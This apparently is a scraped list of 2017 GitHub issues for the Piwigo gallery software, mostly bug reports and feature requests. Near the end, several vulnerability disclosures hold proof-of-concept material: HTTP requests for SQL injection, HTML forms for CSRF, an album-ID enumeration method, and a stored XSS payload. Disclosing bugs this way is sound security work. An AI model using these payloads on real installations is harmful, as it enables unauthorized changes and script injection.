[Working picture](https://kozo.myphotos.cc/picture.php?/7427/category/92)
[Non-working picture](https://kozo.myphotos.cc/picture.php?/7289/category/92)
Could you please help me and advise what goes wrong? What further information shall I provide!
Thanks!
|
Photosphere plugin problem
|
https://api.github.com/repos/Piwigo/Piwigo/issues/772/comments
| 1 |
2017-09-16T08:01:59Z
|
2017-09-16T15:56:07Z
|
https://github.com/Piwigo/Piwigo/issues/772
| 258,216,688 | 772 |
[
"Piwigo",
"Piwigo"
] |
I'm using Shotwell 0.22.0 to upload images to a Piwigo 2.9.1 installation. The Shotwell application reports successful uploading of files, however, they never show up in the album that I uploaded them in.
The `log/nginx/access.log` contains:
```
192.168.1.100 - - [13/Sep/2017:05:37:17 -0500] "POST /ws.php HTTP/1.1" 200 345 "-" "-"
```
However, the `log/nginx/error.log` reveals the following:
```
2017/09/13 05:30:23 [error] 274#274: *166 FastCGI sent in stderr: "PHP message: PHP Warning: md5_file(): Filename cannot be empty in /config/www/gallery/admin/include/functions_upload.inc.php on line 175
PHP message: PHP Warning: getimagesize(): Filename cannot be empty in /config/www/gallery/admin/include/functions_upload.inc.php on line 226" while reading response header from upstream, client: 192.168.1.100, server: _, request: "POST /ws.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "192.168.1.123:8081"
```
|
Publishing via Shotwell 0.22.0 fails with Piwigo 2.9.1
|
https://api.github.com/repos/Piwigo/Piwigo/issues/767/comments
| 3 |
2017-09-13T10:38:44Z
|
2017-12-14T12:48:02Z
|
https://github.com/Piwigo/Piwigo/issues/767
| 257,334,618 | 767 |
[
"Piwigo",
"Piwigo"
] |
Hello,
I use Ubuntu with shotwell 0.26.2 and a debian system with Piwigo 2.9.1
PHP: 5.6.30-0+deb8u1 (Info anzeigen) [2017-09-12 17:16:52]
MySQL: 5.5.5-10.1.26-MariaDB-0+deb9u1 [2017-09-12 17:16:52]
Grafikbibliothek: GD 2.1.1-dev
When I publish pictures with shotwell with 2048x1536 it works fine.
When I have larger pictures in shotwell and select "original size" and the this is 3968x2976
shotwell transferes the picture and say "all fine".
piwigo creates a new album for this picture, but the album is empty - no picture.
In shotwell I have not found an error log. I checked .cache/shotwell/shotwell.log
But in the piwigo apache2/error.log I found:
PHP Warning: md5_file(): Filename cannot be empty in /.../piwigo/admin/include/functions_upload.inc.php on line 175
PHP Warning: getimagesize(): Filename cannot be empty in /.../piwigo/admin/include/functions_upload.inc.php on line 226
As a workaround shotwell transferes my pictures only in 2048x1536 fix.
Thank you for fixing this issue :)
|
upload a 3968x2976 jpg with shotwell failed
|
https://api.github.com/repos/Piwigo/Piwigo/issues/766/comments
| 1 |
2017-09-12T15:27:12Z
|
2017-10-11T07:55:42Z
|
https://github.com/Piwigo/Piwigo/issues/766
| 257,086,053 | 766 |
[
"Piwigo",
"Piwigo"
] |
Several users have reported authentication failure. Piwigo was working as expected, the users were simply using their email address as username (as many web applications do).
It would be more convenient if Piwigo could allow/understand when a visitors tries to authenticate with its email address (that he never forgets, as opposed to the Piwigo username).
For now, the problem I see is that you can use an email address as username. Imagine 2 users 👍
* username "alfonso" with email address "[email protected]"
* username "[email protected]" with email address "[email protected]"
Then what happens when you submit "[email protected]" on identification.php ? I would say, we match in priority the username (which does not follow an email address pattern 99.999% of the time) and if nothing matches, try among email address.
Reminder: email addresses must be unique in Piwigo.
|
ability to log in with email address (instead of username)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/765/comments
| 0 |
2017-09-12T12:14:12Z
|
2020-09-30T08:51:30Z
|
https://github.com/Piwigo/Piwigo/issues/765
| 257,021,447 | 765 |
[
"Piwigo",
"Piwigo"
] |
Batch Manager does not work when specifying an International charset with setlocale. Piwigo 2.9.1. Firefox 55.0.3
Very strange issue, but Quick Local Synchronization did not function when the filenames or directories contained International/Swedish characters. After a lot of troubleshooting, I found a solution by simply adding:
setlocale(LC_ALL,'sv_SE.utf8');
in the file config.inc.php.
All was fine and dandy. But I recently noticed that the Batch Manager page did not display correctly. The menu on the left is fully expanded (on all other menu items/pages it is only the current menu that is expanded) . Also, the Selection area doesn’t work. I.e. when I click on one of the: ‘The whole page, The whole set, None, Invert’, nothing happens. And the grey information box to the right is empty and very small. The browser also throws SyntaxErrors when I have the setlocale enabled.
After a whole lot of troubleshooting, I discovered that if I comment out the 'setlocale' line in my config.inc.php, and refresh the Batch Manager page – it displays perfectly.
So I am guessing there is something in the batch_manager.php script, or related files, that is charset or locale sensitive.
Anyone have ideas on where to report this and get it fixed? The setlocale is great for allowing Swedish characters everywhere else in Piwigo, and I would hate for the solution to fix Batch Manager to be – "Don't use setlocale".
|
Batch manager is non-functional when using setlocale in config.inc.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/761/comments
| 8 |
2017-09-08T11:53:53Z
|
2020-04-04T14:54:40Z
|
https://github.com/Piwigo/Piwigo/issues/761
| 256,230,330 | 761 |
[
"Piwigo",
"Piwigo"
] |
I can't figure why the sql query returns the old value just for that specific field... just this one!
reproduced in prod end dev
Piwigo 2.9.1
Système d'exploitation: Linux
PHP: 5.6.30-0+deb8u1 MySQL: 5.6.37
Piwigo master
Système d'exploitation: WINNT
PHP: 5.6.25 MySQL: 5.7.14 [2017-09-05 18:01:44]
|
Date creation not refreshed when changing it from picture_modify
|
https://api.github.com/repos/Piwigo/Piwigo/issues/760/comments
| 3 |
2017-09-05T16:02:28Z
|
2017-12-14T12:51:00Z
|
https://github.com/Piwigo/Piwigo/issues/760
| 255,328,596 | 760 |
[
"Piwigo",
"Piwigo"
] |
User can choose to display all tags and/or current ones
|
show Tags in menu even if not related to current photo set
|
https://api.github.com/repos/Piwigo/Piwigo/issues/759/comments
| 1 |
2017-09-05T12:39:21Z
|
2020-06-02T10:22:53Z
|
https://github.com/Piwigo/Piwigo/issues/759
| 255,263,011 | 759 |
[
"Piwigo",
"Piwigo"
] |
If the picture as '0000-00-00 00:00:00' in the exif and Piwigo is configured to use it for the creation_date properties, synchronizing the metadata from the picture_modify page will try to send '0000-00-00 00:00:00' to mysql which is forbidden. EVEN if the default value of the creation_date as been set to something different from '0000-00-00 00:00:00' from Mysql
|
Sync'ing the metadata send a date creation incorrect for Mysql 5.7
|
https://api.github.com/repos/Piwigo/Piwigo/issues/755/comments
| 2 |
2017-09-04T16:53:13Z
|
2017-09-05T11:22:41Z
|
https://github.com/Piwigo/Piwigo/issues/755
| 255,088,420 | 755 |
[
"Piwigo",
"Piwigo"
] |
currently we can import maxim two values from the exif metadata into piwigo image tags.
please allow as to add unlimited number of exif metadata values to be added as image tags, as an array (example 2) :
http://piwigo.org/forum/viewtopic.php?pid=168559#p168559
i have tried a (simple) modification to your software to try my idea:
http://piwigo.org/forum/viewtopic.php?pid=168562#p168562
maybe someone with a better knowledge of the piwigo software can make this better and official.
|
allow conf[use_exif_mapping] key to be a list
|
https://api.github.com/repos/Piwigo/Piwigo/issues/753/comments
| 2 |
2017-09-02T16:59:55Z
|
2024-07-31T15:16:04Z
|
https://github.com/Piwigo/Piwigo/issues/753
| 254,823,447 | 753 |
[
"Piwigo",
"Piwigo"
] |
that's hard coding ; for template extensions, and extensions the use of set_filenames is mandatory
|
replace all include in tpl files
|
https://api.github.com/repos/Piwigo/Piwigo/issues/752/comments
| 0 |
2017-09-01T16:05:27Z
|
2017-09-18T14:57:45Z
|
https://github.com/Piwigo/Piwigo/issues/752
| 254,685,475 | 752 |
[
"Piwigo",
"Piwigo"
] |
The second time it fails with:
ERROR 1050 (42S01) at line 171: Table `piwigo_image_format` already exists
It is missing a DROP TABLE just before the CREATE TABLE statement.
Same with `piwigo_user_auth_keys` table at line 373.
Best regards.
Eric.
|
Cannot run install/piwigo_structure-mysql.sql twice
|
https://api.github.com/repos/Piwigo/Piwigo/issues/751/comments
| 3 |
2017-09-01T13:25:42Z
|
2017-09-05T11:25:26Z
|
https://github.com/Piwigo/Piwigo/issues/751
| 254,640,143 | 751 |
[
"Piwigo",
"Piwigo"
] |
Piwigo currently supports the 3byte utf8 not the full one
|
utf8mb4 support
|
https://api.github.com/repos/Piwigo/Piwigo/issues/750/comments
| 3 |
2017-09-01T12:29:28Z
|
2020-12-29T16:54:37Z
|
https://github.com/Piwigo/Piwigo/issues/750
| 254,626,120 | 750 |
[
"Piwigo",
"Piwigo"
] |
When creating the database for the first time I get the following error:
mysql said: ERROR 1071 (42000) at line 107: Specified key was too long; max key length is 1000 bytes
It comes from script from install/piwigo_structure-mysql.sql when creating the `piwigo_groups` table. It's due to the fact that I configured my MariaDB install with UTF support, so each character is 4-bytes length.
However, MyISAM engine limits index size to 1000 bytes! And UNIQUE KEY `group_ui1` is a VARCHAR(255) which takes 255*4=1020 bytes here!
To circumvent error, I replaced UNIQUE KEY `groups_ui1` (`name`) with UNIQUE KEY `groups_ui1` (`name`(250)), which limits the index to the first 250 characters of `name` field.
I did the same to `piwigo_image_format` and `piwigo_sites` tables (PRIMARY KEY and UNIQUE KEY respectively).
Is there a chance Piwigo will work with UTF encoded database or should it enforce Latin1 at database creation time?
Best regards,
Eric.
|
mysql said: ERROR 1071 (42000) at line 107: Specified key was too long; max key length is 1000 bytes
|
https://api.github.com/repos/Piwigo/Piwigo/issues/749/comments
| 9 |
2017-09-01T11:58:29Z
|
2017-09-01T13:59:28Z
|
https://github.com/Piwigo/Piwigo/issues/749
| 254,619,507 | 749 |
[
"Piwigo",
"Piwigo"
] |
Hi. I just setup a no piwigo gallery and am trying to create a new user. When browsing the Users, Manage, page, though, I get this error message:
`DataTables warning: table id=userList - Ajax error. For more information about this error, please see http://datatables.net/tn/7`
Tried creating a user anyway and that part actually worked (I can see the new user record in the database and login as that user), but I still get that error every time I try to view the Users, Manage page, and thus I'm unable to view or manage the user.
I checked the server logs and found that I"m getting a 403 when trying to POST to admin/user_list_backend.php:
`[30/Aug/2017:03:04:29 -0500] "POST /photos/admin/user_list_backend.php HTTP/1.1" 403 243 "https://www.website.net/photos/admin.php?page=user_list"`
I loaded Firebug in Firefox and can see the 403, but I can't find any extra insight into what's causing it. Pasting a screenshot that shows the headers for both admin.php?page=user_list as well as the follow-up request to admin/user_list_backend.php in the hope it may show you something useful.
Any idea what may be causing this? or what I can do to troubleshoot further? This is my first piwigo instance, so I don't have have another instance to compare against.
For reference, this is running under apache 2.4.27 w/ PHP 7.0.21 on a Linux host. Happy to provide more details if it will help.
Thanks.
|
Unable to view users - 403 on user_list_backend.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/748/comments
| 3 |
2017-08-30T08:17:46Z
|
2018-07-12T14:22:34Z
|
https://github.com/Piwigo/Piwigo/issues/748
| 253,915,234 | 748 |
[
"Piwigo",
"Piwigo"
] |
Hi,
I got this notice in my Apache error log when switching the theme of the admin page :
```
[Sun Aug 27 16:49:21.736536 2017] [proxy_fcgi:error] [pid 30996:tid 121883778676480] [client 2001:db8:3849::42] AH01071: Got error 'PHP message: PHP Notice: Only variables should be passed by reference in /path/admin.php on line 65\n', referer: https://piwigo.example.org/path/admin.php?change_theme=1
```
I'm running Apache 2.4.25 with php7.0-fpm and PHP 7.0.22. Piwigo is up-to-date
Don't look like a big issue, but then again I'm lacking PHP knowledge and it pollutes my error log :)
|
PHP notice when changing admin page's theme
|
https://api.github.com/repos/Piwigo/Piwigo/issues/747/comments
| 2 |
2017-08-27T15:25:39Z
|
2017-12-14T12:50:27Z
|
https://github.com/Piwigo/Piwigo/issues/747
| 253,170,458 | 747 |
[
"Piwigo",
"Piwigo"
] |
Currently the menu of piwigo is small compared to other cms like wordpress, joomla ... it hurts in the eyes of users it would be interesting to improve the user experience.
|
New Admin theme, responsive and more readability
|
https://api.github.com/repos/Piwigo/Piwigo/issues/746/comments
| 24 |
2017-08-07T19:50:29Z
|
2022-03-29T13:07:58Z
|
https://github.com/Piwigo/Piwigo/issues/746
| 248,512,749 | 746 |
[
"Piwigo",
"Piwigo"
] |
When I click onto the icon to activate, the map ist seen for a short time. After this there comes a gray screen with "Hoppla! Ein Fehler ist aufgetreten."
The API-Key is fresh and guilty.
example: http://www.becker.pics/ - click onto the globe-icon on the right side.
kind regards.
mcinternet
|
RV Maps & Earth does not work propertly
|
https://api.github.com/repos/Piwigo/Piwigo/issues/745/comments
| 1 |
2017-08-01T11:16:24Z
|
2017-11-26T21:23:43Z
|
https://github.com/Piwigo/Piwigo/issues/745
| 247,035,767 | 745 |
[
"Piwigo",
"Piwigo"
] |
So, if we search for tags/keywords we get search clause results based on AND / OR
Something LIKE. search for "apple", got results list containing: "apple, pineapple, apple1, apple2 etc."
We need to get EXACT result using FULL-TEXT search
There are need for addtional option calld exact term under advanced serch field.
|
Exact search problem
|
https://api.github.com/repos/Piwigo/Piwigo/issues/744/comments
| 0 |
2017-07-31T13:54:31Z
|
2017-07-31T13:54:31Z
|
https://github.com/Piwigo/Piwigo/issues/744
| 246,763,475 | 744 |
[
"Piwigo",
"Piwigo"
] |
Hello,
I need a kind of extended EXIF-View for piwigo. There are a few Plugins, but they have to less Info. What needed is:
Company: Canon (exists)
Camera (example) Canon EOS MK 5d MK IV (exists)
Lens (example EF 24-70 f2.8 L IS II USM)
Aparture (example) f5.6 - (exists)
Shutter (example) 1/250 sek
mm (example) 55mm
ISO (example) ISO 100
who can do this?
kind regards
JB
|
New Suggestion
|
https://api.github.com/repos/Piwigo/Piwigo/issues/743/comments
| 1 |
2017-07-31T13:40:53Z
|
2017-07-31T13:44:35Z
|
https://github.com/Piwigo/Piwigo/issues/743
| 246,759,359 | 743 |
[
"Piwigo",
"Piwigo"
] |
When I download a photo from my gallery, I can't open the file, because there's an extra blank line at the beginning of the file. After removing this line, the photo can be opened.
Piwigo 2.9.1
PHP: 7.1.7
MySQL: 5.7.19-log [2017-07-31 13:07:07]
|
Downloaded photos can't be opened - extra blank line at the beginning of the file
|
https://api.github.com/repos/Piwigo/Piwigo/issues/742/comments
| 5 |
2017-07-31T11:13:27Z
|
2020-02-11T11:24:10Z
|
https://github.com/Piwigo/Piwigo/issues/742
| 246,722,470 | 742 |
[
"Piwigo",
"Piwigo"
] |
http://fr.piwigo.org/forum/viewtopic.php?id=27465
|
Suggestion for Piwigo.org
|
https://api.github.com/repos/Piwigo/Piwigo/issues/741/comments
| 1 |
2017-07-29T19:58:22Z
|
2019-01-11T15:33:49Z
|
https://github.com/Piwigo/Piwigo/issues/741
| 246,542,056 | 741 |
[
"Piwigo",
"Piwigo"
] |
Off by one error in number of photos on each page e.g. 4x4 grid on https://rachaelandtom.info/photos/index/category/194-tom_s_mum_s_65th#content is missing final image
Latest Piwigo release, PHP 7
|
incorrect pagination
|
https://api.github.com/repos/Piwigo/Piwigo/issues/740/comments
| 2 |
2017-07-29T17:31:18Z
|
2017-07-31T13:55:06Z
|
https://github.com/Piwigo/Piwigo/issues/740
| 246,534,427 | 740 |
[
"Piwigo",
"Piwigo"
] |
In the regular search page (search.php), if you "search for words" and check the "tags" box : if your search matches a tag, then on the photo page you get something like:
```
Notice: Undefined offset: 25 in picture.php on line 244
Warning: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 3
SELECT *
FROM images
WHERE id IN (1351,1255,)
; in include/dblayer/functions_mysqli.inc.php on line 845
```
|
[search] when a search on word also matches tags
|
https://api.github.com/repos/Piwigo/Piwigo/issues/739/comments
| 1 |
2017-07-25T16:21:22Z
|
2017-07-25T16:27:18Z
|
https://github.com/Piwigo/Piwigo/issues/739
| 245,457,851 | 739 |
[
"Piwigo",
"Piwigo"
] |
I try to connect to the API, with the `pwg.session.login` method, with the HTTP method `POST`with the following url:
```
https://piwigo.buron.coffee/ws.php?format=json&method=pwg.session.login&username=test&password=test
```
I got the following error with a 405 HTTP code :
```
{"stat":"fail","err":405,"message":"This method requires HTTP POST"}
```
What am I doing wrong ?
|
Error on API login
|
https://api.github.com/repos/Piwigo/Piwigo/issues/738/comments
| 4 |
2017-07-25T00:04:03Z
|
2019-03-07T16:40:01Z
|
https://github.com/Piwigo/Piwigo/issues/738
| 245,248,881 | 738 |
[
"Piwigo",
"Piwigo"
] |
"Officially, the Opengraph has no impact on SEO, but social networks are an excellent source of traffic, and if your content is more visible on Facebook they will be much more shared, Get a much better click-through rate and therefore an increase in traffic and conversions, a relevant indicator that Google can take into account, so the impact on SEO is rather indirect."
http://ogp.me/
|
Embed Open Graph protocol
|
https://api.github.com/repos/Piwigo/Piwigo/issues/737/comments
| 1 |
2017-07-21T10:02:14Z
|
2021-11-03T22:13:49Z
|
https://github.com/Piwigo/Piwigo/issues/737
| 244,622,780 | 737 |
[
"Piwigo",
"Piwigo"
] |
Hi,
the first time when I put the date of a photo and I save, the system doesn't save the date and the field remain blank. The second times it works.
|
Date does not save
|
https://api.github.com/repos/Piwigo/Piwigo/issues/736/comments
| 3 |
2017-07-21T07:47:33Z
|
2017-09-11T13:57:44Z
|
https://github.com/Piwigo/Piwigo/issues/736
| 244,590,215 | 736 |
[
"Piwigo",
"Piwigo"
] |
So that a remote authentication system can redirect the user with an appropriate authentication key.
|
ability to get an authentication key through API
|
https://api.github.com/repos/Piwigo/Piwigo/issues/735/comments
| 0 |
2017-07-20T17:05:57Z
|
2018-02-24T14:34:16Z
|
https://github.com/Piwigo/Piwigo/issues/735
| 244,433,348 | 735 |
[
"Piwigo",
"Piwigo"
] |
I'm doing some scans which I would like to keep as PNGs and am adding some simple tagging via Shotwell. exiv2 can see the keywords and the IPTC numbers seem to match what Piwigo is expecting ie
$ exiv2 -PxkIv piwigo/galleries/x/y/img20170719_0093.png
0x0019 Iptc.Application2.Keywords SomeKeyword
0x0041 Iptc.Application2.Program Shotwell
0x0046 Iptc.Application2.ProgramVersion 0.24.5
0x19 is 25, which matches what is expected and which works with JPEGs:
config_default.inc.php: 'iptc_keywords' => '2#025',
Assuming this goes through get_iptc_data, the image's dimensions are correctly loaded, so perhaps it's that php doesn't return $imginfo['APP13'] for png files?
|
IPTC metadata for PNG files
|
https://api.github.com/repos/Piwigo/Piwigo/issues/734/comments
| 1 |
2017-07-20T13:47:05Z
|
2018-03-17T20:46:42Z
|
https://github.com/Piwigo/Piwigo/issues/734
| 244,368,367 | 734 |
[
"Piwigo",
"Piwigo"
] |
Hi there,
Yesterday i moved piwigo to a new host. on this host, php-mysqli was missing. As i called the url of gallery, i got an error message including my database password. I anonymized paths, usernames, ip-adress and of course the password for this report.
Fatal error: Uncaught Error: Class 'mysqli' not found in /export/home/foo/bar/piwigo/include/dblayer/functions_mysqli.inc.php:67
Stack trace: #0 /export/home/foo/bar/piwigo/include/common.inc.php(124): pwg_db_connect('ip-adress', 'foo', 'password', 'foo')
#1 /export/home/foo/bar/piwigo/index.php(26): include_once('/export/home/sm...')
#2 {main} thrown in /export/home/foo/bar/piwigo/include/dblayer/functions_mysqli.inc.php on line 67
|
Piwigo spits out db pw if php-mysqli is missing
|
https://api.github.com/repos/Piwigo/Piwigo/issues/733/comments
| 1 |
2017-07-16T09:35:52Z
|
2017-08-08T19:07:20Z
|
https://github.com/Piwigo/Piwigo/issues/733
| 243,228,662 | 733 |
[
"Piwigo",
"Piwigo"
] |
which seems to collide with Php for some installations
http://piwigo.org/forum/viewtopic.php?id=27606
http://piwigo.org/forum/viewtopic.php?id=27607
http://piwigo.org/forum/viewtopic.php?id=28111
|
rename transliterate function
|
https://api.github.com/repos/Piwigo/Piwigo/issues/732/comments
| 3 |
2017-07-11T13:47:38Z
|
2017-10-08T16:37:24Z
|
https://github.com/Piwigo/Piwigo/issues/732
| 242,053,869 | 732 |
[
"Piwigo",
"Piwigo"
] |
If I have 1945 photos, the template variable NB_PHOTOS is 1,945 and it's not >1, so it's not displayed. We should distinguish the number of photos and the number for display.
|
dashboard, missing number of photos
|
https://api.github.com/repos/Piwigo/Piwigo/issues/731/comments
| 0 |
2017-07-07T17:53:04Z
|
2017-09-04T12:31:12Z
|
https://github.com/Piwigo/Piwigo/issues/731
| 241,335,095 | 731 |
[
"Piwigo",
"Piwigo"
] |
Hi,
Random photo shows me the albums instead of photos
https://www.galleria.pescaraspotters.it/random.php
|
Random photo doesn't work
|
https://api.github.com/repos/Piwigo/Piwigo/issues/730/comments
| 20 |
2017-07-07T09:38:37Z
|
2017-07-07T11:26:30Z
|
https://github.com/Piwigo/Piwigo/issues/730
| 241,211,105 | 730 |
[
"Piwigo",
"Piwigo"
] |
include/Logger.class.php
should be
include/logger.class.php
|
Logger.class.php should be uncapitalized
|
https://api.github.com/repos/Piwigo/Piwigo/issues/729/comments
| 3 |
2017-07-06T09:49:47Z
|
2017-09-15T03:30:58Z
|
https://github.com/Piwigo/Piwigo/issues/729
| 240,902,654 | 729 |
[
"Piwigo",
"Piwigo"
] |
I want to put nas photos into piwigo, nas support nfs connect.
```
mount -t nfs 192.168.1.10:/photo /mnt/photo
```
I try use `ln` and `mount`, synchronize can't find the photo, if I `cp` the nfs data to the galleries folder, it can be work.
```
ln -s /mnt/photo/test_photo1 /mnt/piwigo/galleries #synchronize can't found photo
mount --bind /mnt/photo/test_photo2 /mnt/piwigo/galleries/test_photo2 #synchronize can't found photo
cp -r /mnt/photo/test_photo3 /mnt/piwigo/galleries/ #can be work
```
|
galleries synchronize can not support nfs folder?
|
https://api.github.com/repos/Piwigo/Piwigo/issues/728/comments
| 6 |
2017-07-04T15:14:57Z
|
2022-09-18T09:00:13Z
|
https://github.com/Piwigo/Piwigo/issues/728
| 240,448,506 | 728 |
[
"Piwigo",
"Piwigo"
] |
os : ubuntu
docker php:apache
docker mysql:latest
[./galleries/20161029照片] PWG-UPDATE-1 (wrong filename)
|
synchronize can not sync right with chinese directory (wrong filename)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/727/comments
| 2 |
2017-07-04T07:56:34Z
|
2017-07-04T12:24:45Z
|
https://github.com/Piwigo/Piwigo/issues/727
| 240,340,749 | 727 |
[
"Piwigo",
"Piwigo"
] |
so that plugins can add specific actions when an album is created.
|
trigger on album creation
|
https://api.github.com/repos/Piwigo/Piwigo/issues/726/comments
| 0 |
2017-07-03T13:55:32Z
|
2017-07-03T13:57:15Z
|
https://github.com/Piwigo/Piwigo/issues/726
| 240,180,378 | 726 |
[
"Piwigo",
"Piwigo"
] |
just like on admin/picture_modify, the method pwg.images.setInfo should take the $conf['allow_html_descriptions'] into account.
|
protect pwg.images.setInfo from HTML
|
https://api.github.com/repos/Piwigo/Piwigo/issues/725/comments
| 0 |
2017-07-03T11:53:28Z
|
2017-07-03T11:59:11Z
|
https://github.com/Piwigo/Piwigo/issues/725
| 240,150,286 | 725 |
[
"Piwigo",
"Piwigo"
] |
# Proof-of-Concent
`version:2.9.1`
## section status
```
POST /piwigo/admin.php?page=cat_options§ion=status HTTP/1.1
Host: www.test.com
Content-Length: 34
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.test.com/piwigo/admin.php?page=cat_options§ion=status
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_id=4elnfc2n8r49dpl10dna2t3080
Connection: close
cat_false%5B%5D=755&trueify=%C2%AB
```
## section commnets
```
POST /piwigo/admin.php?page=cat_options§ion=comments HTTP/1.1
Host: www.test.com
Content-Length: 33
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.test.com/piwigo/admin.php?page=cat_options§ion=comments
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_id=4elnfc2n8r49dpl10dna2t3080
Connection: close
cat_true%5B%5D=7*55&falsify=%C2%BB
```
### Report By Topsec(Li Zhiqiang)
|
Bug Report: SQL injection in page cat_options
|
https://api.github.com/repos/Piwigo/Piwigo/issues/724/comments
| 4 |
2017-06-29T05:19:56Z
|
2017-10-07T09:06:15Z
|
https://github.com/Piwigo/Piwigo/issues/724
| 239,368,435 | 724 |
[
"Piwigo",
"Piwigo"
] |
see https://github.com/Piwigo/Piwigo/issues/721
|
when requesting an private id, the permalink is revealed
|
https://api.github.com/repos/Piwigo/Piwigo/issues/723/comments
| 4 |
2017-06-28T21:54:00Z
|
2017-12-14T12:49:37Z
|
https://github.com/Piwigo/Piwigo/issues/723
| 239,309,098 | 723 |
[
"Piwigo",
"Piwigo"
] |
# Proof-of-Concept
`Version :2.9.1`
## Incorrect Permissions in album ID
The public / private tags
private means that administrator don’t want others know about album.
But there is some way to know what album his hiding.
And what the private album’s permalinks is.
1. By creating album , you could know that album id is in rule
2. So you can brute-force the album id
```
GET /piwigo/index.php?/category/757 HTTP/1.1
Host: www.test.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Referer: http://www.test.com/piwigo/index.php?/category/c1c12
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_display_thumbnail=display_thumbnail_classic; pwg_id=513v9ik9uahikec64vu4api2o5
Connection: close
```
### - [√] Response with status 200 means that this album is accessible
### - [√] Response with status 301 means that you don’t have the privilege to access.
Base on the brute-force result.
You can know the hidden album id
If the hidden album has set permalinks.
By request the album id ,permalinks is in the Response packet.
Now is time to republic it.
## Cross-Site Request Forgery in page permalinks & status, visible, comments in page cat_options.
There is no pwg_token in the request.
So
1. set private albums to public
```
<html>
<!-- CSRF PoC - generated by Akityo -->
<body>
<form action="http://www.test.com/piwigo/admin.php?page=cat_options§ion=status" method="POST">
<input type="hidden" name="cat_false[]" value="757" />
<input type="hidden" name="trueify" value="�«" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
2. Permalink delete
```
<html>
<!-- CSRF PoC - generated by Akityo -->
<body>
<form action="http://www.test.com/piwigo/admin.php">
<input type="hidden" name="page" value="permalinks" />
<input type="hidden" name="delete_permanent" value="fffffff" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
3. unlock albums
```
<html>
<!-- CSRF PoC - generated by Akityo -->
<body>
<form action="http://www.test.com/piwigo/admin.php?page=cat_options§ion=visible" method="POST">
<input type="hidden" name="cat_false[]" value="756" />
<input type="hidden" name="trueify" value="�«" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
### Original packet
```
POST /piwigo/admin.php?page=cat_options§ion=status HTTP/1.1
Host: www.test.com
Content-Length: 34
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.test.com/piwigo/admin.php?page=cat_options
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_display_thumbnail=display_thumbnail_classic; pwg_id=513v9ik9uahikec64vu4api2o5
Connection: close
cat_false%5B%5D=758&trueify=%C2%AB
```
Refences: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
### Discover By: topsec(Li Zhiqiang)
|
Bug Report: Set administrator private album to public via CSRF & Incorrect Permissions
|
https://api.github.com/repos/Piwigo/Piwigo/issues/721/comments
| 2 |
2017-06-28T20:07:56Z
|
2017-07-01T08:28:10Z
|
https://github.com/Piwigo/Piwigo/issues/721
| 239,280,395 | 721 |
[
"Piwigo",
"Piwigo"
] |
1.Packet at the login, no encryption
2.There were no restrictions on user input during the test
Evironment:
Windows XP Professional
Apache
MySQL
PHP 5.4.45
discovered by: mstteam(Linkey)
|
Bug Report:The logon is not encrypted/No login authentication
|
https://api.github.com/repos/Piwigo/Piwigo/issues/720/comments
| 4 |
2017-06-25T06:44:29Z
|
2017-07-15T06:07:55Z
|
https://github.com/Piwigo/Piwigo/issues/720
| 238,363,740 | 720 |
[
"Piwigo",
"Piwigo"
] |
1.Change the image information to xss payload:
http packet:
POST /Piwigo/admin.php?page=photo-4 HTTP/1.1
Host: 127.0.0.1
Content-Length: 156
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/Piwigo/admin.php?page=photo-4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_id=efb20fpih3ej69adj8ljiblb34
Connection: close
name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&author=&date_creation=&associate%5B%5D=2&description=&level=0&submit=%E5%84%B2%E5%AD%98%E8%A8%AD%E5%AE%9A
2.To view the url:
http://192.168.0.109/Piwigo/index.php?/category/2
- **# Evironment:**
Windows XP Professional
Apache
MySQL
PHP 5.4.45
discovered by: mstteam(gh0stkey)
|
Bug Report: Stored cross site scripting(XSS) in admin.php
|
